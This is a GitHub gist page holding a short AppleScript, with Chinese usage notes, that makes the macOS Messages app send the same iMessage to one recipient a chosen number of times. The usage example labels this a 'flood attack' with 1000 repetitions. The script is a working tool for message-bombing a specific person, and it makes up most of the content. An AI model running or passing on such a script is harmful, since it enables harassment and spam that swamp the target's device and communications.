Skip to content

Instantly share code, notes, and snippets.

@netstu
Created December 20, 2013 13:06
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save netstu/8054536 to your computer and use it in GitHub Desktop.
Save netstu/8054536 to your computer and use it in GitHub Desktop.
以下内容粘贴到“AppleScript编辑器”中,保存为“sendMsg.scpt”: 使用方法为,在“终端”中运行命令: osascript sendMsg.scpt 'iMessageId' 'flood attack' 1000 三个参数分别是“iMessage的id”, “发送内容”和“发送次数”
on run {targetBuddyPhone, targetMessage, repeatCount}
tell application "Messages"
set targetService to 1st service whose service type = iMessage
set targetBuddy to buddy targetBuddyPhone of targetService
set myCount to repeatCount as integer
repeat myCount times
send targetMessage to targetBuddy
end repeat
end tell
end run
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment